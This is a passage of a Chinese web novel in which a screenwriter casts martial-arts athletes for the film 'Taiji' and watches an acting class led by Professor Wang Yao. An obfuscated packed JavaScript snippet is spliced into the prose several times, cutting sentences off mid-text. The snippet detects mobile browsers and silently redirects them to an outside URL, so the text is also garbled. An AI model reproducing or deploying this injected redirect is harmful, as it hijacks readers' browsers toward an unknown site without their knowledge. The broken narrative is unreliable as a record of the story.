高远又说:“第二件事情,从明天开始正式进入到开拍前的集中培训阶段。我实话实说,各位都是非专业演员,对如何扮演好一个角色没有深刻的了解。 所以就需要对各位进行演技方面的培训。” 于承惠瓷声瓷气道:“这是应该的。” “明天上午先由导演讲电影拍摄的主要流程,下午给各位上课的老师是我从北大请来的,是北大中文系的副教授王瑶先生,大家不要觉得不好意思,有什么不懂的直接提问就成。” “哟,于海,没想到咱俩一把大年纪了,还能捞着听北大教授给咱们上课啊,这机会可难得。” 于海点头称是。 李健群笑着说:“高老师就在北大读书,王瑶先生是他的任课老师,是他凭私人关系请过来给大家上课的。” 高远轻松几句话就把这帮武林人士震慑住了,刚才的表现在温柔大姐姐心目中光芒万丈。 “高策划厉害。”杜玉明冲他竖起大拇指。 “喊小高就行,您别这么客气。”高远谦虚道。 李连杰一撇嘴,问道:“他们为什么叫你高老师啊?又是大学生又是高策划的,你不就是个编剧吗?编剧在剧组里权力这么大的吗? 连导演的活儿你都抢?” 嚯! 这小子一键三连啊。 高远察觉出来了,小李子对自己挺不服气,是什么原因造成的**,他也不关心,高远只知道,今天若是拿不下这个刺儿头来,自个儿在这个剧组里就树立不起威望来了。 “我先回答你第一个问题,他们为什么叫我高老师?原本呢,这个称呼只是一个玩笑,后来我参与拍摄制作了《瞧这一家子》,这部电影里所有演员的表演都是在我的指点下完成的。 这个戏称就延续了下来,你可以理解为这是个尊称。” 高远摸出包烟来分了一圈,一间小屋子里挤了十几条大汉,抽烟的却只有杜玉明和武斌两个人。 运动员们很自律啊。 他继续说道:“我是大学生这是事实,我不仅是大学生,77年恢复高考,我总分考了387,是以京城高考状元的身份被北大中文系录取的。” 杜玉明继续当捧哏,“嚯,这个牛气!” 李连杰的脸色肉眼可见地闪过一道尴尬。 这会儿也就没有学霸这个词儿,要是有,小李子就会说一句:你是学霸你牛逼行了吧? 第140章 大桥未久和小咖喱黄不辣 高远看看他,忽地一呲牙,道:“不是我自夸,论身手,我不如你,论文学功底,你连我的小拇指都比不上!” 李连杰脸红脖子粗。 高远继续哔哔:“至于说策划和编剧,这两者并不冲突,我有能力写出一个好剧本来,自然也有能力做好策划工作。至于说策划在剧组里有多大权力,我可以很直白地告诉你,只要我想管,什么事儿我都能管。 我这么解释你明白了吗?” 小李子还梗着脖子犟嘴呢:“导演也归你管?” 李文化从外面踱步进来,笑着说:“从某种意义上说,没错儿,我这个导演也得听总策划的安排。” 李连杰是见过大世面的,人家都被尼克松接见过,被基辛格划拉过脑袋,心气儿高可以理解。 但今儿他的高心气儿却被高远蹂躏的碎了一地。 高远就差明着告诉他了,在这个剧组里,我才是老大,你服也好,不服也好,给我老实待着。 不想待着也行,你可以罢演啊。 高远之所以敢如此明目张胆的怼李连杰,是基于他对小李子性格方面的了解。 他太清楚了,李连杰就不是个安分守己的孩子。 他身在武术队,心在电影圈。 上辈子为了摆脱吃皇粮的身份,去香港拍电影挣大钱,不惜自断一腿直接退役这么个主儿,你提前给他一个实现梦想的机会,放心就好,打死他都不会主动走人的。 “好吧,高老师,您是老大,我今后不跟您犯葛了。”小李子耷拉着脑袋宣布投诚。 高远一笑,说道:“喊哥就行。” 小李子抬起头,脸通红,憋了半天憋出一个字儿来:“哥。” 今后请叫我高·影帝教父·远。 高远满意地点点头,又对他说道:“这段时间,你和你健群姐多交流,你俩的对手戏多,要尽快培养起情侣间默契感来。” 说到这个李连杰可就不困了,他挠着头偷偷打量大姐姐,嘿嘿笑道:“我一定,一定多向群姐请教。” “我警告你小子,你群姐可是我女朋友,你要是敢有什么乱七八糟的想法,你看我敢不敢收拾你!”高远赶紧威胁他道。 这个货什么人品他心里跟明镜儿似的。 其实高远最属意的小桃人选是黄秋燕。 但他为什么没把黄秋燕喊来,最后选择了葛春燕呢,就是因为妈的怕出事儿啊。 这俩人要是在剧组里产生感情了,小李子再把人家姑娘给蹬了,然后义无反顾投奔到利智那富有且慷慨的怀抱中去,自个儿不就造业障了么。 李连杰嘿嘿一笑,说道:“哦,原来你俩是这种关系啊,明白了,明白了,远哥放心,我再浑蛋也干不出跟哥哥抢大嫂的事情来。” “这还像句人话。” 李文化这时候说道:“怎么还不动换啊,上午不就说过,让大家尽快把头剃了么。” 于承惠站起身,说道:“走走走,刮脑袋去,瞧瞧你们这些年轻人,一个个的,一点都不积极。” 大老爷们儿们嘻嘻哈哈,勾肩搭背地奔楼下去了。 高远见葛春燕有点尴尬,便对她说:“春燕姐你跟健群走吧,你是她的贴身丫鬟,俩人要多亲近。” 李健群很主动地走过去,牵起葛春燕的手,笑着说:“走,去我屋,我给你拿好吃的。” 葛春燕这次笑着点头说:“好,谢谢啊。” 两位女同志也走了。 李文化拉着高远说道:“还有几个事儿,第一,荣王爷的扮演者还没定下来,虽然这个角色分量不重,但是我觉得吧,还是得找个能压得住秤砣的老戏骨饰演才行。 偌大一个剧组,除了健群,剩下都是业余演员,这未免也太……” “太业余了是吧?”高远笑道。 李文化摸出烟来递给他一根,道:“对,太业余了。” “嗯,我同意您的观点,您心目中有合适的人选吗?” “要是从厂里找的话,我的意见是用熟不用生,刘钊老师你之前合作过了,对他的表演非常了解,老爷子气质也儒雅,挺适合荣王爷这个角色的。” “我没意见,您去谈还是我去谈?” “我去吧,好事儿不能总让你小子占了。” 高远哈哈一笑,又问道:“还有其他事情吗?” 李文化抽口烟,说道:“还是演员的问题,还缺两个女角,一个是东瀛忍者大桥未久,一个是印度瑜伽大师小咖喱黄不辣……瞧瞧你都起的这什么破名字啊。” 我都是有来历的。 高远抿着笑道:“印度瑜伽大师身形瘦小,灵巧如野狐一般,要不,您考虑一下蔡明?” 李文化眼睛一亮,道:“合适!” “我不瞒您说导儿,大桥未久 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15427207|168726||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的扮演者我倒是真相中一个,也是京城武术队的,叫黄秋燕,我只是还有没拿定主意让不让她来出演。” “怎么个意思?你是担心演技方面的问题,还是其他方面的问题?” “他和小李子似乎有点儿那个意思,你懂吧?” “处对象啊。” “对。” 李文化差点儿没把烟头戳到高老师鼻子上去,“你这不是只许州官放火不许百姓点灯么,你小子自个儿都把恋爱谈到剧组里来了,人家俩人处对象,到你这儿就不行了,凭啥呀? 明天就开始进行培训了,赶紧给我喊人去!” 高远说道:“不是,导儿你先别急,大桥未久的戏份没那么重,打斗的戏份也基本上靠吊钢丝,用不用武术队的练家子都行。 其实我还有个合适的人选,就是不知道人家愿不愿意演。” “谁啊?” “刘冬。” “那姑娘倒是长得很漂亮,走吧,咱俩分别谈,我去找刘老师,你去找刘冬。” 高远点点头,起身往出走。 女生们的宿舍在西侧,东西两侧隔着道铁栅栏门。 高远喊来宿管把门打开,走进李健群的房间立刻发现一屋子莺莺燕燕。 李健群呀了一声,问道:“你怎么进来了?” 高远好笑道:“怎么,我不能进来吗?” “不是,我是说,你来干嘛?”李健群问出了大家的心声。 这位最近炙手可热,难不成,他是来挑演员的? 姑娘们都满眼期待望着他。 高远笑着揭晓答案,“我来找刘冬聊聊,《太极》正式建组了,其中有个日本甲贺派女忍者的角色还没人选,我过来问问你,愿意饰演这个角色吗?” 这还有什么好说的。 刘冬狠狠点头,道:“我愿意。” 沉吟片刻,她红着脸说:“但是高老师,我不会武功啊。” 高远严肃地问道:“能吃得了苦吗?” 刘冬斩钉截铁:“能!” 高远说道:“不会武功没关系,我们这个组里的每一位练家子都是武术指导,他们会为你量身打造一套功夫,你只要肯学,就没问题。 还有,这个角色需要飞天遁地,有一大半戏份需要吊钢丝,这你没问题吧?” 刘冬再次点头道:“没问题。” “好,明天一早到一号棚去参加培训吧。” 第141章 我猜出你的心思了 晚上,李文化召集剧组的全体幕后人员开会。 高远彻底体会了一把主导一部电影的辛苦。 会议的主题全是围绕怎么拍好这部剧进行的。 李文化直言不讳,先统一思想:“首先,这部剧开创了厂里投资的先河,老厂长为了拍好这部剧,拉下老脸求到高层领导头上去,费尽口舌争取来100万拍摄资金。 我不敢说后无来者,但绝对前无古人。 就冲老厂长这股子支持本剧的心气儿,咱们全组人也不能懈怠喽。 都给我打起精神来,每一个环节都不能有所疏漏。 我们的目标是,要拍摄出一部在中国电影史上青史留名的优秀影片来!” 与会人员表情各异,却也点头称是。 高远观察到,有几个人望向自己的眼神儿带着不屑一顾,乃至于愤恨,便暗暗留心上了。 “时间很紧张啊同志们,马上就到三月份了,我们的拍摄计划是,五月十号正式开机,也就是说,留给我们筹备的时间只有短短的两个月出头儿。 所以说,各部门要抓紧时间进行准备。 道具组,首先要搭景,七雄塔外部可以外出取景,但内景要全在一号摄影棚里搭建完成。 不用我强调你们也清楚,一号摄影棚总面积5000多平米,号称全亚洲最大的摄影棚。 这次厂里把这个棚拿出来给我们用,可见厂里对我们这部作品的重视。 你们也要重视起来,明白吧?” 李文化进入角色的速度非常之快,目光严肃盯住道具组的负责人说道。 负责人虽然不爽,但也点头答应下来。 “置景组立马动身去河南挑选外景地,这部戏的外景地主要有两处,一处自然是主角拜师地陈家沟村,我要求这个村寨要有很完整的寨墙、寨门、院落、房屋等等。 最好是始建于清朝年间的老寨子。 另一处是风景展示区。 同志们,我再提醒大家一句,我们这部电影是要出海的,要把国家的美丽风光,祖国的大好河山展现给外国人看。 所以,外景拍摄地点的选择尤为重要,请置景部门的同志务必重视起来。” 他又巴拉巴拉。 置景部门的头头嗯了声,表态道:“李导放心就是,我带着两名同志去踩景,一定会选出最合适的外景拍摄地来,配合剧组拍摄好这部划时代的作品来。” 李文化满意地点点头,扭头对李健群说道:“服装设计这块儿就交给李老师了,您多操心。” 李健群忙表示:“您客气了,都是分内的工作。” 李文化事无巨细,一条一条地过。 最后,他把目光定格在高远脸上,问道:“高老师,您还有什么要说的吗?” 我再强调五大条五十小条! 高远笑笑,先摸出烟来撒了一圈,见大家都乐呵呵点了后,才不紧不慢地说道:“导演说得已经很详细了,我这边没什么好讲的,就一条,希望大家精诚团结,拧成一股绳,把这部片子拍好。 有任何方面需要我提供帮助的,大家直言不讳便是了,能帮忙的我一定帮。” 李文化笑着对他点头,心里说,我也不是个真正意义上的傀儡啊,小高还是很尊重我的嘛。 他宣布散会。 高远看一眼挂钟,都快十点了,他饿得肚子直抽筋。 走出会议室后,他问李健群道:“饿吗?” 李健群点点头,道:“饿毁了。” “我那儿还有点挂面,咱俩煮煮吃一口?” 见他眼神明亮,分明不怀好意,李健群翻个白眼儿,拒绝道:“不去了,我回屋吃几块饼干对付一口就得。” 她轻轻抚摸着高远的面庞,嘻嘻笑道:“高老师,好好回屋休息,不要胡思乱想哦。” 看着她离去的背影,高远愤然一跺脚,抹身跟上去,回了招待所房间。 梁晓声在门口等着他,见他过来,脸上带着点不好意思,问道:“我听说你又写了个武打故事?” 高远乐了,他这是品尝到挣钱的乐趣了,遂点头道:“你不找我,我也正打算找你呢,进来聊吧。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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高远拿了张报纸连外裤都顾不上穿,只穿一身秋衣秋裤,蹬上拖鞋就往厕所里跑。 进了厕所,他看到了一个很神奇的景象。 每个蹲位上都蹲着一个大光头。 从第一个坑位开始,依次是杜玉明、熊欣欣、李连杰、胡坚强、王群。 这几位之间有隔板挡着,他们皆手拿报纸,一边津津有味地阅读,一边稀里哗啦地排泄。 这他妈…… 你们几位约好一起来的吗? 高远傻眼了,因为没坑位了。 他肚子里又咕噜一声,浊气跟着下降。 当下也顾不上穷讲究啥,对杜玉明说道:“靠靠边儿,匀我点儿空,我这快顶不住了。” 杜玉明一抬眼,道:“哟,高老师亲自来拉屎啊。” 说着,他往边上挪了挪。 高远赶忙走过去,脱裤子放屁。 “你少跟我犯贫,我这正合计着,昨儿也没吃啥不该吃的东西啊,咋还闹上肚子了。”高远抱怨着,又是一阵炮火连天。 旁边的熊欣欣探着脑袋说道:“不一定是吃坏的,您是不是昨天夜里着凉了?” 他这么一提醒,高远方才想起来,道:“**!昨晚睡觉蹬被子了,窗子貌似也没关严。” 李连杰美滋滋说道:“这都春回大地了,北影厂宿舍还给供暖呢,条件太好了,我昨晚睡觉也没关窗户。” 熊欣欣撇着嘴瞎聊,“你还好意思说,昨儿后半夜里小风吹得我直哆嗦,是我爬起来把窗户关严的。” 杜玉明解决完了,撕了块报纸擦擦屁股提上裤子,说:“哥儿几个,咱就别在这儿聊了,这也不是个侃大山的地方啊,都抓抓紧,拉完吃饭去。” 高远震惊:这两者能放到一起说嘛? 同志们嘻嘻哈哈,倒是欢乐得很。 都撕块报纸擦屁股。 这年头儿您就别想用卫生纸了,倒是有卖的,但谁也不讲究。 尤其是男同志,你上个厕所还专门带着卫生纸,那你才是各色。 俗称:装逼。 因此,这会儿的报纸具备三大功能——阅读解闷儿,充当清洁工具,还能卷烟叶子。 高远蹲了二十分钟,才感觉肚子里不再兵荒马乱,舒服了一些。 他也不敢大意,回屋里穿戴整齐,洗漱过后就跑到厂卫生室要痢特灵去了。 每天一早,北影厂大食堂都是最热闹的地方。 各个剧组的年轻人们都在这里集中,有些嫌麻烦,懒得做早饭的老同志也会来食堂吃一顿。 在这里就不点名了。 比如说陈强同志! 他不仅自个儿来,还带着二子哥一起来,爷儿俩吃完还打包,打包完了还不交粮票,拎着网兜抬腿就走,因为家里老婆子和小闺女儿也没吃呢。 占公家便宜占的那叫一个光明正大、心安理得。 今儿食堂里的气氛却有些古怪。 高远和李文化打头。 身后于承惠、于海居中,左右杜玉明、熊欣欣、胡坚强、李连杰、**魁、王群等人雁字排开,大步流星走进来。 食堂里瞬间鸦雀无声。 大家都看傻了! 这一个个目光狠厉,气势逼人的家伙都是刚从大牢里放出来的吗? 尤其是于承惠身边那位,大光头,头顶上有个尖儿,颧骨突出,两腮深陷,眉毛稀疏,三角眼里精光四射,瞪谁谁怀孕…… 这是杜玉明。 “这就是《太极》剧组吗?一个个的看着都不像好人呐。” “我听小高提过一嘴,他自嘲说,什么流氓地痞、不法商贩、小偷小摸基本上都在他这剧组里了,哎哟你瞧那个大胡子,这龙行虎步的气势,还真有些古代游侠的特质!” “一群歪瓜裂枣啊,凭他们也能拍好戏?” “我也觉得悬,更何况这还是一帮纯业余的演员。” 有人的地方就有江湖,有江湖的地方就有斗争。 职工们小声蛐蛐,难免会说些不中听的话。 这是因为他们大多看不惯拍在头里的那个年轻人。 觉得他太张狂了,最近这段时间在厂里兴风作浪的,四处挖社会主义墙角,薅创作集体羊毛。 听说昨天水导都被他逼得主动要求退休了。 年纪轻轻的,咋就那么不知道好歹,拎不清轻重啊? 高远自然不在乎别人在背地里议论他些什么,只要别当面说,他可以装大度,理解同志们羡慕嫉妒恨的心情。 但你要是说到我脸上来了,那就别怪我怼得你找不着北了。 这群人排队打饭,愣是没有一个职工敢凑得太近。 还有职工主动让位的。 “您先打您先打,我不着急。”这位 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15427209|168726||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 站在前面的职工见杜玉明靠过来,立时心里一哆嗦,客气的不得了。 杜玉明咧嘴乐了,说道:“同志您客气了,排到谁是谁,您不用特意关照我,我也不着急。” 诶他会笑哎。 笑起来也不难看。 那职工稍稍放松了点心情,边打饭边跟杜玉明唠上了:“冒昧问一句,您是哪省武术队的?” 杜玉明笑着回答道:“我不是武术队的,我还是个学生呢,在国家戏曲学校上学,工长靠武生。” 那职工惊讶地说道:“哎呀,您要是不说,我还以为您孩子都不小了呢。” 他这话把周围几位都逗乐了。 杜玉明摸摸大光头,也乐得不行,道:“显老呗,但没办法,爹妈给的长相,这我可没得挑。” 高远点头赞同道:“嗯,长得是仓促了些。” “哈哈哈哈……” 大家又笑了起来,突然感觉,《太极》这剧组的人别看一个个奇形怪状、凶悍无比的,却也不难接触。 尤其是这个尖头顶,他的声音还怪好听咧。 这群人打了饭,找了相邻的几个空桌坐下开吃,明显自成一体。 李健群走进来,一眼看见这个**犯群体,匆忙打了一份饭也凑了过来。 她不是个会交朋友的人,要说在厂里跟谁走得近,只有一个张金玲。 另外就是室友刘冬也能聊两句。 自打她进厂后,着实吸引了一批年轻小伙子热切的目光。 也不乏有人明里暗里的追求,写情书告白,但都被她拒绝了。 大姐姐心里早有了如意郎君,自然不会再接受别人的爱意。 见她走过来,挨着高远吃饭的李连杰很有眼力见儿,拿起饭盒主动让出座位,笑嘻嘻说道:“嫂子,快请坐。” 高远微微点头,嗯,是个好同志。 李健群脸一红,瞪他一眼道:“别乱称呼,不然撕了你的嘴。” 李连杰立马点头道:“好的,那我就叫您群姐了。” 高远:“你叛变得可真快啊。” 同志们又哈哈大笑起来。 李文化说:“抓紧吃,吃完咱们去一号棚上课。” 大家埋头造饭。 这时候,蔡明蹦跶过来了,一张嘴就一股京片子味儿:“远哥,远哥,你必须给我改个名字,小咖喱黄不辣,这啥破名儿啊?” 第143章 王瑶的到来,全都震惊! 高远看着这只19岁了还在撒娇的小萝莉,满脸不解地问道:“这名字不好听么?我觉得还好啊,多有印度特色。” “起开,咋这么没眼力见儿呢。”蔡明先对五大三粗的熊欣欣说道。 熊欣欣一缩脖子,咝的一声,这是哪来的高手?居然敢跟人人敬仰的高老师呲牙,好胆量! 之前没听说过江湖中有这么一号人物啊。 他端着饭盒站起来,把座位让给了蔡明。 蔡明这才噘着嘴对高远说道:“远哥你别糊弄我了,你以为我对印度不了解啊?印度人的姓氏是有高种姓和低种姓区分的。 最高种姓叫婆罗门,主要从事宗教事务和教育事业,被认为是最高阶层,在印度教社区中享有很高的声望和尊重。 刹帝利是第二高种姓,通常是王公贵族,拥有**权力和财富,并受到尊重和保护。 我查了资料,低种姓中也没有小咖喱这种姓氏,咖喱在印度只是一种食物,它是黄色的,很辣。 从这点上来说,你也犯了常识性错误。 所以,必须改! 这什么破名字啊,等电影一上映,让懂行的人一看,蔡明饰小咖喱黄不辣! 你不要脸我还要呐!” 周围几人都笑趴下了。 这姑娘太好玩儿了,明显是做了功课过来的,这番话说得有理有据,直接把高老师堵在了墙角里。 李健群也没绷住,不由得伸手捏了捏蔡明的脸蛋,笑着说:“你怎么这么可爱啊。” 蔡明嘻嘻笑道:“因为我是吃可爱长大的呀。” 高远:“呕……” “喂,你那是什么表情?态度端正点儿,就说改不改吧?” “改改改,行了吧?给你改成婆罗门,这下如你所愿了吧?” “这还差不多。” 大家齐齐倒吸了一口郭达斯坦森,高老师居然也有妥协的时候,这也太不可思议了。 高远把众人的表情尽收眼底,心说,你们以为我愿意妥协吗?论语言表达能力,我跟纵横央视春晚十几年的小品女王二代目差出十八个李健群去。 公认的一代目是赵丽蓉老师。 赵老师千古! 众人吃完早饭,聚齐在五千平米的一号摄影棚。 他们占据了一个角落,角落里摆放着木质黑板、讲台,下来还有几十把椅子。 李文化想得很全面,他让李晨声把摄影机架上了。 黑洞洞的镜头对准这帮业余演员,但没开机,只为了让他们提前适应面对镜头是个什么感觉。 普及一个知识点,专业演员和业余演员之间最大的区别是:专业演员即便表演情绪不到位,在表演过程中也会将摄像机视若无物。 业余演员总会不自觉地去看镜头。 见人都到齐,李文化走上讲台,开始讲在电影拍摄过程中如何走位,怎么打光,具体拍摄流程是怎么样的。 大家听得很认真,于海和于承惠还不时低声交流两句。 高远却把武斌单独拉出了棚,递给他一根烟道:“教练,本子您也看了,您对那些武术套路、拳法什么的有啥具体想法吗?” 武斌把烟接过来,点了,抽一口后方才正色说道:“前段时间我一直在反复研究剧本中描写的打斗情节,开头杨昱乾拜师不成与人比斗、进陈家沟学艺被拦、一言不合跟陈少杰又掐了起来…… 等等等等大约有二十余场打戏。 动作设计方面,我的想法是,杨昱乾初期稚嫩、青涩,虽有武学天赋,但也是只凭一腔热血懵着头打,根本不存在套路一说。 中期跟陈家仇人交手,也是在陈少琪的指点下拼了命才退敌的。 因此赢得了陈正英的好感,破例收其为徒,在陈正英的悉心指教下,杨昱乾的太极功夫才突飞猛进。” 高远不觉皱了皱眉头,这些话还用你跟我说吗?这都是我在故事里描写过的。 我问你有什么具体想法,是想听听你对武打动作如何设计,你上来给我说了这么一套,你在水字数啊? 高远蓦地发现了一个问题,武 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“在座的都是国内武术名家,但却没有一点表演技巧,我呢,教授的就是各位的表演技巧。” 王瑶转身,在黑板上写下了一行字,继续说道:“表演,有很多理论性的东西,斯坦尼体系,这个体系那个体系,我就不多说了! 因为你们没有必要进行学习。 针对各位的实际情况,咱们捞点儿实际的。” 大家聚精会神,皆目光卓著望着王瑶。 王瑶又说道:“我说的实际的是什么呢?说白了,我希望各位在表演过程中,针对不同的情况,能做出不同的反应。” 大家茫然。 此刻,高远插了一句:“教授,您说点他们能听懂的。” 王瑶一笑,又道:“好,那我举个例子吧。那谁,小伙子你上来。” 她望向李连杰。 李建杰立马起身,噔噔噔跑了过去,恭敬道:“教授您说。” 王瑶说道:“咱们假定一个情景,你是个小商小贩,比如说,改革开放了,你是知青下乡回来的知识青年,区里和街道没给你分配工作,你只能自己找事情做养家糊口。 你想了什么工作呢? 你在街头巷尾弄了个摊,租售小儿书、画本。 这天,你一早摆摊,为了吸引孩子们都来租书看,你扯着嗓子吆喝,你要怎么表现?” 李连杰懵了,脸通红,最后哑着嗓子说道:“看书喽,《三国演义》《西游记》《虾球传》应有尽有,押金一毛,一本二分,都来啊,都来……” 王瑶说道:“停!你今天早晨没吃饱吗?有气无力的?” 李连杰的脸更红了。 “这样根本不能吸引来生意,你的喊声只能让喜欢看画书的小朋友们离你远远的。因为道理很简单,你的声音没有穿透力。 这样,跑,你去跑一圈。 快快快,跑起来。”王瑶说道。 李连杰闻言,撒丫子就往外跑。 五分钟后回来。 王瑶说道:“别喘气,大声喊,声嘶力竭,再把你刚才的台词说一遍!” “看书喽,《三国演戏》……之类的全都有,押金一毛,一本两分……” 李连杰扯着嗓子喊道。 王瑶笑了,道:“大家看到了吧?这就是情绪价值,你表演一个人物的时候,代入不了这个情绪,说出口的台词就一无是处,一旦带入到人物的情绪当中来,那就是另一种境界。” 于承惠问道:“那么,王教授,我们怎么才能带入到人物的情绪当中去呢?” 王瑶又乐,看一眼高远,说道:“远子,你上来。” 高远立马走上台,乖巧地说道:“王妈,您吩咐。” 王瑶严肃道:“我现在给你个人物,你当众表演一下。” “没问题,啥人物啊?” “你是一民国时期的红楼娼妓,以伺候达官贵人为主业,这日,青楼里没生意,妈妈让你上街接客,你怎么表演这个人物的风貌特征?” “哈哈哈哈……” 底下笑疯了。 高远:“……妈,你弄死我得了!” “别犯贫,抓紧揣摩人物,我弄死你,谁示范?!”王瑶心说,你小子不是有自个儿独特的一套教学方法吗?我倒要看看你怎么去诠释这个人物。 底下那帮家伙又幸灾乐祸地笑了起来。 高远那个无奈就甭提了。 他想了想,走下讲台,走到李健群面前,问道:“带手绢了没?” 李健群不明所以,但还是从衣兜里掏出一方手绢来递给这厮。 高远接过来,又走到讲台上,靠着讲台边儿,尽量让自己显得慵懒、放松。 身上跟没有骨头似的媚眼如丝望着大家,双腿交叉,右手抱着左臂,左手轻抬一挥手绢,笑靥如花声音媚入骨髓道:“大爷,来玩儿啊……” 同志们立刻一愣,接着爆笑如雷! 于承惠眼泪都下来了,揶揄他道:“远砸,咱不带这样的,你这也太骚气了!看得我这个大老爷们儿都受不了啦!” 于海拍着大腿道:“形象!太形象了!大侄子,你这生动诠释了旧社会劳动妇女凭借身子骨熬生活的不容易,你叔我服了!” 蔡明高呼:“远哥,你将来死,也是骚死的!” 刘冬挽着李健群的胳膊,笑得都没人样儿了,说道:“群姐,高老师跟你单独在一块的时候也这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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挣了一万 于承惠不明所以地望着王瑶,道:“揉核桃?” 王瑶笑道:“对,就是揉核桃,加一个揉核桃的动作,体现端王爷阴险毒辣的气质。” 高远一乐,道:“这个好这个好,这是我以前没想到的,俩核桃在手心里一转,哗哗一想,再来个近景,给端王爷来个特写镜头,您绷住了别笑,嚯……大反派的气质浑然天成。” 李健群低声蛐蛐:“看来,编剧也不是万能的。” “这倒是。”刘冬捂着嘴附和道。 于海、于承惠,包括李连杰这个主演,听了王瑶一堂表演课,都感觉获益匪浅,对表演的方式方法更是觉得醍醐灌顶。 王瑶这堂课讲下来,其实总结起来就一句话:在合适的剧情里做出合适的反应。 李健群和刘冬、蔡明这几个专业演员也对王瑶敬佩不已。 王教授聊的全是干货,不像厂里那些个艺术指导老师,一开口全是斯坦尼、布莱希特、梅兰芳。 夸夸其谈,全是虚的。 一个小时的课程其实很短。 临近下课前,王瑶给大家布置了作业,让大家吃过晚饭后回到宿舍写人物小传,揣摩人物的内心思想,并详细阐述出你们对各自饰演人物的具体想法。 明天检查! 高远又临时起意加了一个作业,“都给我回去做表情训练,对着镜子练,你哭也好,笑也罢我不管。但是你们给我记住了,想有个好的表演,首先要克服心理难关。 明天上课,两两一组进行表情展现。 我和王教授、李导是评委,我们三个一致认为表情不过关的,你就对着镜子练习去吧,啥时候练合格了啥时候继续参加培训。” 大家唉声叹气起来。 李连杰瞪着俩眼珠子说道:“要不要这么狠啊,大哥。” 高远横他一眼,道:“就是这么狠,不乐意啊?不乐意你走人啊。” “我不走!你打死我都不走!不就是表情训练么,我哭不出来还笑不出来么。” “杰哥纯爷们儿,铁血真汉子!既然你有这份决心,那就回去好好练吧。每人三个表情,我指定一个:猖狂大笑!加一起一共四个。 教授,您还有啥要说的吗?” 王瑶微一颔首,笑道:“没有了。” 高远点点头,道:“好,那就下课!” 《太极》培训班就这么顺利地开始了。 之后的两周里,王瑶天天下午抽时间来给业余演员们上课。 老厂长拉着孙文今、**雄跑过来听了两节,对王瑶的表演课赞不绝口。 厂里演员剧团的几位艺术指导听说《太极》剧组一切顺利,北大中文系的副教授授课非常精彩,也偷偷跑过来听了几节。 然后就服气了。 同时也产生了被高远狠狠打脸的感觉。 有个别人在私下里嘀咕:“这小子的报复心可真强啊,我们不过是求个脸面,你低个头我们就去了,谁知道人家愣是一点面子都没给,直接去北大请教授来上课了。” “这就是硬实力,你不服都不行,谁让人家的靠山是北大呢,有本事,你被人排挤后也请个北大的副教授来培训业余演员啊。” “说实话我有点儿后悔了,你都不知道《瞧这一家子》的拷贝卖到多少个了,超四百了,破纪录了呀!中影公司那帮玩意儿赚大发了! 现在厂里有人说,高远这小家伙儿挺邪性,经他手创作出来的故事个顶个的精彩。 被他选中的演员一准儿能走红。 已经有好些人跃跃欲试想要主动为这小子效力了。 加盟他的剧组,好处是显而易见的。” 甭管在哪个年代中,人们都是有私心的,也有强烈的追求利益的欲望。 你也别说这是什么唯利是图。 唯利是图的另一种说法叫有上进心。 随着培训的火热开展,这群从全国各地挑选出来的武术精英们也越发熟悉起来。 高远发现一件很好玩儿的事情。 他们经常在私下里比划。 这事儿据说是李连杰先挑起来的。 这孩子仗着拿过几个全国武术冠军,闲得蛋疼总爱撩拨别人。 同志们大多数时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15432575|168726||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 候都不愿意跟他计较。 年纪小嘛,长得又挺好看的,都让这他。 谁知道这货还没完没了了。 